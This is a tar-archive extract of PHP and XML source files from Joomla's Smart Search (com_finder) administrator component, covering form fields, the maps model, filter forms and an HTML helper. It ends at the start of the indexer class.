JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

/**
 * Supports a select grouped list of finder content map.
 *
 * @since  3.6.0
 */
class JFormFieldContentMap extends JFormFieldGroupedList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.6.0
	 */
	public $type = 'ContentMap';

	/**
	 * Method to get the list of content map options grouped by first level.
	 *
	 * @return  array  The field option objects as a nested array in groups.
	 *
	 * @since   3.6.0
	 */
	protected function getGroups()
	{
		$groups = array();

		// Get the database object and a new query object.
		$db = JFactory::getDbo();

		// Levels subquery.
		$levelQuery = $db->getQuery(true);
		$levelQuery->select('title AS branch_title, 1 as level')
			->select($db->quoteName('id'))
			->from($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('parent_id') . ' = 1');
		$levelQuery2 = $db->getQuery(true);
		$levelQuery2->select('b.title AS branch_title, 2 as level')
			->select($db->quoteName('a.id'))
			->from($db->quoteName('#__finder_taxonomy', 'a'))
			->join('LEFT', $db->quoteName('#__finder_taxonomy', 'b') . ' ON ' . $db->qn('a.parent_id') . ' = ' . $db->qn('b.id'))
			->where($db->quoteName('a.parent_id') . ' NOT IN (0, 1)');

		$levelQuery->union($levelQuery2);

		// Main query.
		$query = $db->getQuery(true)
			->select($db->quoteName('a.title', 'text'))
			->select($db->quoteName('a.id', 'value'))
			->select($db->quoteName('d.level'))
			->from($db->quoteName('#__finder_taxonomy', 'a'))
			->join('LEFT', '(' . $levelQuery . ') AS d ON ' . $db->qn('d.id') . ' = ' . $db->qn('a.id'))
			->where($db->quoteName('a.parent_id') . ' <> 0')
			->order('d.branch_title ASC, d.level ASC, a.title ASC');

		$db->setQuery($query);

		try
		{
			$contentMap = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return;
		}

		// Build the grouped list array.
		if ($contentMap)
		{
			$lang = JFactory::getLanguage();

			foreach ($contentMap as $branch)
			{
				if ((int) $branch->level === 1)
				{
					$name = $branch->text;
				}
				else
				{
					$levelPrefix = str_repeat('- ', max(0, $branch->level - 1));

					if (trim($name, '**') === 'Language')
					{
						$text = FinderHelperLanguage::branchLanguageTitle($branch->text);
					}
					else
					{
						$key = FinderHelperLanguage::branchSingular($branch->text);
						$text = $lang->hasKey($key) ? JText::_($key) : $branch->text;
					}

					// Initialize the group if necessary.
					if (!isset($groups[$name]))
					{
						$groups[$name] = array();
					}

					$groups[$name][] = JHtml::_('select.option', $branch->value, $levelPrefix . $text);
				}
			}
		}

		// Merge any additional groups in the XML definition.
		$groups = array_merge(parent::getGroups(), $groups);

		return $groups;
	}
}
com_finder/models/fields/contenttypes.php000060400000003662152455305310014660 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die();

use Joomla\Utilities\ArrayHelper;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

JFormHelper::loadFieldClass('list');

/**
 * Content Types Filter field for the Finder package.
 *
 * @since  3.6.0
 */
class JFormFieldContentTypes extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.6.0
	 */
	protected $type = 'ContentTypes';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.6.0
	 */
	public function getOptions()
	{
		$lang    = JFactory::getLanguage();
		$options = array();

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id', 'value'))
			->select($db->quoteName('title', 'text'))
			->from($db->quoteName('#__finder_types'));

		// Get the options.
		$db->setQuery($query);

		try
		{
			$contentTypes = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $db->getMessage());
		}

		// Translate.
		foreach ($contentTypes as $contentType)
		{
			$key = FinderHelperLanguage::branchSingular($contentType->text);
			$contentType->translatedText = $lang->hasKey($key) ? JText::_($key) : $contentType->text;
		}

		// Order by title.
		$contentTypes = ArrayHelper::sortObjects($contentTypes, 'translatedText', 1, true, true);

		// Convert the values to options.
		foreach ($contentTypes as $contentType)
		{
			$options[] = JHtml::_('select.option', $contentType->value, $contentType->translatedText);
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
}
com_finder/models/fields/directories.php000060400000004215152455305310014430 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Load the base adapter.
JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

JFormHelper::loadFieldClass('list');

/**
 * Renders a list of directories.
 *
 * @since       2.5
 * @deprecated  4.0  Use JFormFieldFolderlist
 */
class JFormFieldDirectories extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type = 'Directories';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   2.5
	 */
	public function getOptions()
	{
		$values  = array();
		$options = array();
		$exclude = array(
			JPATH_ADMINISTRATOR,
			JPATH_INSTALLATION,
			JPATH_LIBRARIES,
			JPATH_PLUGINS,
			JPATH_SITE . '/cache',
			JPATH_SITE . '/components',
			JPATH_SITE . '/includes',
			JPATH_SITE . '/language',
			JPATH_SITE . '/modules',
			JPATH_THEMES,
			JFactory::getApplication()->get('log_path'),
			JFactory::getApplication()->get('tmp_path')
		);

		// Get the base directories.
		jimport('joomla.filesystem.folder');
		$dirs = JFolder::folders(JPATH_SITE, '.', false, true);

		// Iterate through the base directories and find the subdirectories.
		foreach ($dirs as $dir)
		{
			// Check if the directory should be excluded.
			if (in_array($dir, $exclude))
			{
				continue;
			}

			// Get the child directories.
			$return = JFolder::folders($dir, '.', true, true);

			// Merge the directories.
			if (is_array($return))
			{
				$values[] = $dir;
				$values = array_merge($values, $return);
			}
		}

		// Convert the values to options.
		foreach ($values as $value)
		{
			$options[] = JHtml::_('select.option', str_replace(JPATH_SITE . '/', '', $value), str_replace(JPATH_SITE . '/', '', $values));
		}

		// Add a null option.
		array_unshift($options, JHtml::_('select.option', '', '- ' . JText::_('JNONE') . ' -'));

		return $options;
	}
}
com_finder/models/fields/branches.php000060400000001335152455305310013701 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die();

JFormHelper::loadFieldClass('list');

/**
 * Search Branches field for the Finder package.
 *
 * @since  3.5
 */
class JFormFieldBranches extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Branches';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.5
	 */
	public function getOptions()
	{
		return JHtml::_('finder.mapslist');
	}
}
com_finder/models/maps.php000060400000024777152455305310011625 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die();

/**
 * Maps model for the Finder package.
 *
 * @since  2.5
 */
class FinderModelMaps extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An associative array of configuration settings. [optional]
	 *
	 * @since   2.5
	 * @see     JControllerLegacy
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'state', 'a.state',
				'title', 'a.title',
				'branch',
				'branch_title', 'd.branch_title',
				'level', 'd.level',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission for the component.
	 *
	 * @since   2.5
	 */
	protected function canDelete($record)
	{
		return JFactory::getUser()->authorise('core.delete', $this->option);
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission for the component.
	 *
	 * @since   2.5
	 */
	protected function canEditState($record)
	{
		return JFactory::getUser()->authorise('core.edit.state', $this->option);
	}

	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  $pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   2.5
	 */
	public function delete(&$pks)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$pks = (array) $pks;
		$table = $this->getTable();

		// Include the content plugins for the on delete events.
		JPluginHelper::importPlugin('content');

		// Iterate the items to delete each one.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				if ($this->canDelete($table))
				{
					$context = $this->option . '.' . $this->name;

					// Trigger the onContentBeforeDelete event.
					$result = $dispatcher->trigger('onContentBeforeDelete', array($context, $table));

					if (in_array(false, $result, true))
					{
						$this->setError($table->getError());

						return false;
					}

					if (!$table->delete($pk))
					{
						$this->setError($table->getError());

						return false;
					}

					// Trigger the onContentAfterDelete event.
					$dispatcher->trigger('onContentAfterDelete', array($context, $table));
				}
				else
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					$error = $this->getError();

					if ($error)
					{
						$this->setError($error);
					}
					else
					{
						$this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'));
					}
				}
			}
			else
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Clear the component's cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery  A JDatabaseQuery object
	 *
	 * @since   2.5
	 */
	protected function getListQuery()
	{
		$db = $this->getDbo();

		// Select all fields from the table.
		$query = $db->getQuery(true)
			->select('a.id, a.parent_id, a.title, a.state, a.access, a.ordering')
			->select('CASE WHEN a.parent_id = 1 THEN 1 ELSE 2 END AS level')
			->select('p.title AS parent_title')
			->from($db->quoteName('#__finder_taxonomy', 'a'))
			->leftJoin($db->quoteName('#__finder_taxonomy', 'p') . ' ON p.id = a.parent_id')
			->where('a.parent_id != 0');

		$childQuery = $db->getQuery(true)
			->select('parent_id')
			->select('COUNT(*) AS num_children')
			->from($db->quoteName('#__finder_taxonomy'))
			->where('parent_id != 0')
			->group('parent_id');

		// Join to get children.
		$query->select('b.num_children');
		$query->select('CASE WHEN a.parent_id = 1 THEN a.title ELSE p.title END AS branch_title');
		$query->leftJoin('(' . $childQuery . ') AS b ON b.parent_id = a.id');

		// Join to get the map links.
		$stateQuery = $db->getQuery(true)
			->select('m.node_id')
			->select('COUNT(NULLIF(l.published, 0)) AS count_published')
			->select('COUNT(NULLIF(l.published, 1)) AS count_unpublished')
			->from($db->quoteName('#__finder_taxonomy_map', 'm'))
			->leftJoin($db->quoteName('#__finder_links', 'l') . ' ON l.link_id = m.link_id')
			->group('m.node_id');

		$query->select('COALESCE(s.count_published, 0) AS count_published');
		$query->select('COALESCE(s.count_unpublished, 0) AS count_unpublished');
		$query->leftJoin('(' . $stateQuery . ') AS s ON s.node_id = a.id');

		// If the model is set to check item state, add to the query.
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where('a.state = ' . (int) $state);
		}

		// Filter over level.
		$level = $this->getState('filter.level');

		if (is_numeric($level) && (int) $level === 1)
		{
			$query->where('a.parent_id = 1');
		}

		// Filter the maps over the branch if set.
		$branchId = $this->getState('filter.branch');

		if (is_numeric($branchId))
		{
			$query->where('a.parent_id = ' . (int) $branchId);
		}

		// Filter the maps over the search string if set.
		if ($search = $this->getState('filter.search'))
		{
			$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
			$query->where('a.title LIKE ' . $search);
		}

		// Handle the list ordering.
		$listOrdering = $this->getState('list.ordering', 'd.branch_title');
		$listDirn     = $this->getState('list.direction', 'ASC');

		if ($listOrdering === 'd.branch_title')
		{
			$query->order("branch_title $listDirn, level ASC, a.title $listDirn");
		}
		elseif ($listOrdering === 'a.state')
		{
			$query->order("a.state $listDirn, branch_title $listDirn, level ASC");
		}

		return $query;
	}

	/**
	 * Returns a record count for the query.
	 *
	 * @param   JDatabaseQuery|string  $query  The query.
	 *
	 * @return  integer  Number of rows for query.
	 *
	 * @since   3.0
	 */
	protected function _getListCount($query)
	{
		$query = clone $query;
		$query->clear('select')->clear('join')->clear('order')->clear('limit')->clear('offset')->select('COUNT(*)');

		return (int) $this->getDbo()->setQuery($query)->loadResult();
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id. [optional]
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . $this->getState('filter.branch');
		$id .= ':' . $this->getState('filter.level');

		return parent::getStoreId($id);
	}

	/**
	 * Returns a JTable object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate. [optional]
	 * @param   string  $prefix  A prefix for the table class name. [optional]
	 * @param   array   $config  Configuration array for model. [optional]
	 *
	 * @return  JTable  A database object
	 *
	 * @since   2.5
	 */
	public function getTable($type = 'Map', $prefix = 'FinderTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to auto-populate the model state.  Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field. [optional]
	 * @param   string  $direction  An optional direction. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState($ordering = 'd.branch_title', $direction = 'ASC')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd'));
		$this->setState('filter.branch', $this->getUserStateFromRequest($this->context . '.filter.branch', 'filter_branch', '', 'cmd'));
		$this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', '', 'cmd'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_finder');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    $pks    A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state. [optional]
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function publish(&$pks, $value = 1)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$user = JFactory::getUser();
		$table = $this->getTable();
		$pks = (array) $pks;

		// Include the content plugins for the change of state event.
		JPluginHelper::importPlugin('content');

		// Access checks.
		foreach ($pks as $i => $pk)
		{
			$table->reset();

			if ($table->load($pk) && !$this->canEditState($table))
			{
				// Prune items that you can't change.
				unset($pks[$i]);
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));

				return false;
			}
		}

		// Attempt to change the state of the records.
		if (!$table->publish($pks, $value, $user->get('id')))
		{
			$this->setError($table->getError());

			return false;
		}

		$context = $this->option . '.' . $this->name;

		// Trigger the onContentChangeState event.
		$result = $dispatcher->trigger('onContentChangeState', array($context, $pks, $value));

		if (in_array(false, $result, true))
		{
			$this->setError($table->getError());

			return false;
		}

		// Clear the component's cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to purge all maps from the taxonomy.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   2.5
	 */
	public function purge()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('parent_id') . ' > 1');
		$db->setQuery($query);
		$db->execute();

		$query->clear()
			->delete($db->quoteName('#__finder_taxonomy_map'));
		$db->setQuery($query);
		$db->execute();

		return true;
	}
}
com_finder/models/forms/filter.xml000060400000007152152455305310013275 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field 
			name="filter_id"  
			type="text" 
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC" 
			class="readonly" 
			size="10" 
			default="0"
			readonly="true"  
		/>

		<field 
			name="title" 
			type="text" 
			label="JGLOBAL_TITLE"
			description="COM_FINDER_FILTER_TITLE_DESCRIPTION"
			class="input-xxlarge input-large-text"
			size="40"
			id="title"
			required="true" 
		/>

		<field 
			name="alias" 
			type="text" 
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			hint="JFIELD_ALIAS_PLACEHOLDER" 
			size="45" 
		/>

		<field
			name="created"
			type="calendar"
			label="JGLOBAL_FIELD_CREATED_LABEL"
			description="JGLOBAL_FIELD_CREATED_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			description="COM_FINDER_FIELD_MODIFIED_DESCRIPTION"
			class="readonly"
			translateformat="true"
			showtime="true"
			size="22"
			readonly="true"
			filter="user_utc"
		/>

		<field 
			name="created_by" 
			type="user"
			label="COM_FINDER_FIELD_CREATED_BY_LABEL" 
			description="COM_FINDER_FIELD_CREATED_BY_DESC" 
		/>

		<field 
			name="created_by_alias" 
			type="text"
			label="COM_FINDER_FIELD_CREATED_BY_ALIAS_LABEL" 
			description="COM_FINDER_FIELD_CREATED_BY_ALIAS_DESC"
			size="20" 
		/>
		
		<field 
			name="modified_by" 
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			class="readonly"
			readonly="true"
			filter="unset"
		 />

		<field 
			name="checked_out" 
			type="hidden" 
			filter="unset" 
		/>

		<field 
			name="checked_out_time" 
			type="hidden" 
			filter="unset" 
		/>

		<field 
			name="state" 
			type="list" 
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="chzn-color-state"
			filter="intval"
			size="1"
			default="1" 
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
		</field>

		<field
			name="map_count" 
			type="text" 
			label="COM_FINDER_FILTER_MAP_COUNT" 
			description="COM_FINDER_FILTER_MAP_COUNT_DESCRIPTION"
			class="readonly"
			size="10" 
			default="0" 
			readonly="true" 
		/>
	</fieldset>

	<fields name="params">
		<fieldset name="jbasic" label="COM_FINDER_FILTER_FIELDSET_PARAMS">
			<field
				name="w1"
				type="list"
				label="COM_FINDER_FILTER_WHEN_START_DATE_LABEL"
				description="COM_FINDER_FILTER_WHEN_START_DATE_DESCRIPTION"
				default=""
				filter="string"
				>
				<option value="">JNONE</option>
				<option value="-1">COM_FINDER_FILTER_WHEN_BEFORE</option>
				<option value="0">COM_FINDER_FILTER_WHEN_EXACTLY</option>
				<option value="1">COM_FINDER_FILTER_WHEN_AFTER</option>
			</field>

			<field 
				name="d1"
				type="calendar"
				label="COM_FINDER_FILTER_START_DATE_LABEL"
				description="COM_FINDER_FILTER_START_DATE_DESCRIPTION"
				translateformat="true"
				size="22"
				filter="user_utc"
			/>

			<field
				name="w2"
				type="list"
				label="COM_FINDER_FILTER_WHEN_END_DATE_LABEL"
				description="COM_FINDER_FILTER_WHEN_END_DATE_DESCRIPTION"
				default=""
				filter="string"
				>
				<option value="">JNONE</option>
				<option value="-1">COM_FINDER_FILTER_WHEN_BEFORE</option>
				<option value="0">COM_FINDER_FILTER_WHEN_EXACTLY</option>
				<option value="1">COM_FINDER_FILTER_WHEN_AFTER</option>
			</field>

			<field
				name="d2"
				type="calendar"
				label="COM_FINDER_FILTER_END_DATE_LABEL"
				description="COM_FINDER_FILTER_END_DATE_DESCRIPTION"
				translateformat="true"
				size="22"
				filter="user_utc"
			/>
		</fieldset>

	</fields>
</form>
com_finder/models/forms/filter_maps.xml000060400000002737152455305310014321 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_FINDER_SEARCH_SEARCH_QUERY_LABEL"
			description="COM_FINDER_SEARCH_SEARCH_QUERY_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="state"
			type="status"
			label="COM_FINDER_FILTER_PUBLISHED"
			description="COM_FINDER_FILTER_PUBLISHED_DESC"
			filter="0,1"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="branch"
			type="branches"
			default="0"
			onchange="this.form.submit();"
		/>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="2"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			onchange="this.form.submit();"
			default="d.branch_title ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="d.branch_title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="d.branch_title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_finder/models/forms/filter_index.xml000060400000004050152455305310014456 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_FINDER_INDEX_SEARCH_LABEL"
			description="COM_FINDER_INDEX_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="state"
			type="status"
			label="COM_FINDER_FILTER_PUBLISHED"
			description="COM_FINDER_FILTER_PUBLISHED_DESC"
			filter="0,1"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="type"
			type="ContentTypes"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_FINDER_MAPS_SELECT_TYPE</option>
		</field>

		<field
			name="content_map"
			type="ContentMap"
			label="COM_FINDER_FILTER_CONTENT_MAP_LABEL"
			description="COM_FINDER_FILTER_CONTENT_MAP_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_FINDER_FILTER_SELECT_CONTENT_MAP</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			onchange="this.form.submit();"
			default="l.title ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="l.published ASC">JSTATUS_ASC</option>
			<option value="l.published DESC">JSTATUS_DESC</option>
			<option value="l.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="l.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="t.title ASC">COM_FINDER_INDEX_HEADING_INDEX_TYPE_ASC</option>
			<option value="t.title DESC">COM_FINDER_INDEX_HEADING_INDEX_TYPE_DESC</option>
			<option value="l.indexdate ASC">COM_FINDER_INDEX_HEADING_INDEX_DATE_ASC</option>
			<option value="l.indexdate DESC">COM_FINDER_INDEX_HEADING_INDEX_DATE_DESC</option>
			<option value="l.url ASC">COM_FINDER_INDEX_HEADING_LINK_URL_ASC</option>
			<option value="l.url DESC">COM_FINDER_INDEX_HEADING_LINK_URL_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_finder/models/forms/filter_filters.xml000060400000003270152455305310015022 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_FINDER_SEARCH_FILTER_SEARCH_LABEL"
			description="COM_FINDER_SEARCH_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="state"
			type="status"
			label="COM_FINDER_FILTER_PUBLISHED"
			description="COM_FINDER_FILTER_PUBLISHED_DESC"
			filter="0,1"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			onchange="this.form.submit();"
			default="a.title ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.created_by_alias ASC">COM_FINDER_HEADING_CREATED_BY_ASC</option>
			<option value="a.created_by_alias DESC">COM_FINDER_HEADING_CREATED_BY_DESC</option>
			<option value="a.created ASC">COM_FINDER_HEADING_CREATED_ON_ASC</option>
			<option value="a.created DESC">COM_FINDER_HEADING_CREATED_ON_DESC</option>
			<option value="a.map_count ASC">COM_FINDER_HEADING_MAP_COUNT_ASC</option>
			<option value="a.map_count DESC">COM_FINDER_HEADING_MAP_COUNT_DESC</option>
			<option value="a.filter_id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.filter_id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_finder/helpers/html/finder.php000060400000006225152455305310013243 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

use Joomla\Utilities\ArrayHelper;

/**
 * HTML behavior class for Finder.
 *
 * @since  2.5
 */
abstract class JHtmlFinder
{
	/**
	 * Creates a list of types to filter on.
	 *
	 * @return  array  An array containing the types that can be selected.
	 *
	 * @since   2.5
	 */
	public static function typeslist()
	{
		// Load the finder types.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT t.title AS text, t.id AS value')
			->from($db->quoteName('#__finder_types') . ' AS t')
			->join('LEFT', $db->quoteName('#__finder_links') . ' AS l ON l.type_id = t.id')
			->order('t.title ASC');
		$db->setQuery($query);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return array();
		}

		// Compile the options.
		$options = array();

		$lang = JFactory::getLanguage();

		foreach ($rows as $row)
		{
			$key       = $lang->hasKey(FinderHelperLanguage::branchPlural($row->text)) ? FinderHelperLanguage::branchPlural($row->text) : $row->text;
			$options[] = JHtml::_('select.option', $row->value, JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_($key)));
		}

		return $options;
	}

	/**
	 * Creates a list of maps.
	 *
	 * @return  array  An array containing the maps that can be selected.
	 *
	 * @since   2.5
	 */
	public static function mapslist()
	{
		// Load the finder types.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('title', 'text'))
			->select($db->quoteName('id', 'value'))
			->from($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('parent_id') . ' = 1');
		$db->setQuery($query);

		try
		{
			$branches = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $db->getMessage());
		}

		// Translate.
		$lang = JFactory::getLanguage();

		foreach ($branches as $branch)
		{
			$key = FinderHelperLanguage::branchPlural($branch->text);
			$branch->translatedText = $lang->hasKey($key) ? JText::_($key) : $branch->text;
		}

		// Order by title.
		$branches = ArrayHelper::sortObjects($branches, 'translatedText', 1, true, true);

		// Compile the options.
		$options = array();
		$options[] = JHtml::_('select.option', '', JText::_('COM_FINDER_MAPS_SELECT_BRANCH'));

		// Convert the values to options.
		foreach ($branches as $branch)
		{
			$options[] = JHtml::_('select.option', $branch->value, $branch->translatedText);
		}

		return $options;
	}

	/**
	 * Creates a list of published states.
	 *
	 * @return  array  An array containing the states that can be selected.
	 *
	 * @since   2.5
	 */
	public static function statelist()
	{
		return array(
			JHtml::_('select.option', '1', JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_('JPUBLISHED'))),
			JHtml::_('select.option', '0', JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_('JUNPUBLISHED')))
		);
	}
}
com_finder/helpers/indexer/indexer.php000060400000034654152455305310014133 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

JLoader::register('FinderIndexerHelper', __DIR__ . '/helper.php');
JLoader::register('FinderIndexerParser', __DIR__ . '/parser.php');
JLoader::register('FinderIndexerStemmer', __DIR__ . '/stemmer.php');
JLoader::register('FinderIndexerTaxonomy', __DIR__ . '/taxonomy.php');
JLoader::register('FinderIndexerToken', __DIR__ . '/token.php');

jimport('joomla.filesystem.file');

/**
 * Main indexer class for the Finder indexer package.
 *
 * The indexer class provides the core functionality of the Finder
 * search engine. It is responsible for adding and updating the
 * content links table; extracting and scoring tokens; and maintaining
 * all referential information for the content.
 *
